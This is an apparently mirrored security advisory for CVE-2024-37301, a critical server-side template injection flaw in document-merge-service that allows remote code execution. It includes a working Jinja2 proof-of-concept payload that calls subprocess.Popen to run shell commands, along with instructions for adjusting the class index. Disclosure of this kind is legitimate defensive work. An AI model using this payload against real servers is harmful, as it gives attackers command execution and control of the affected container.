Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS12NWdmLXI3OGgtNTVxNs4AA88z

document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection

Impact

What kind of vulnerability is it? Who is impacted?

A remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.

Patches

Has the problem been patched? What versions should users upgrade to?

It has not been patched.

References

Are there any links users can visit to find out more?

• https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti

POC

Add the following to a document, upload and render it:

{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} 
ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("ls -a", shell=True, stdout=-1).communicate()[0].strip() }}

whoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("whoami", shell=True, stdout=-1).communicate()[0].strip() }}

uname -a:
{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("uname -a", shell=True, stdout=-1).communicate()[0].strip() }}

{% endif %}

The index might be different, so to debug this first render a template with {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }} and then get the index of subprocess.Popen and replace 202 with that.

Permalink: https://github.com/advisories/GHSA-v5gf-r78h-55q6
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12NWdmLXI3OGgtNTVxNs4AA88z
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Critical
Classification: General
Published: 3 months ago
Updated: 3 months ago

CVSS Score: 10.0
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Identifiers: GHSA-v5gf-r78h-55q6, CVE-2024-37301
References:

• https://github.com/adfinis/document-merge-service/security/advisories/GHSA-v5gf-r78h-55q6
• https://nvd.nist.gov/vuln/detail/CVE-2024-37301
• https://github.com/adfinis/document-merge-service/commit/a1edd39d33d1bdf75c31ea01c317547be90ca074
• https://github.com/advisories/GHSA-v5gf-r78h-55q6

Repository: https://github.com/adfinis/document-merge-service
Blast Radius: 1.0

Affected Packages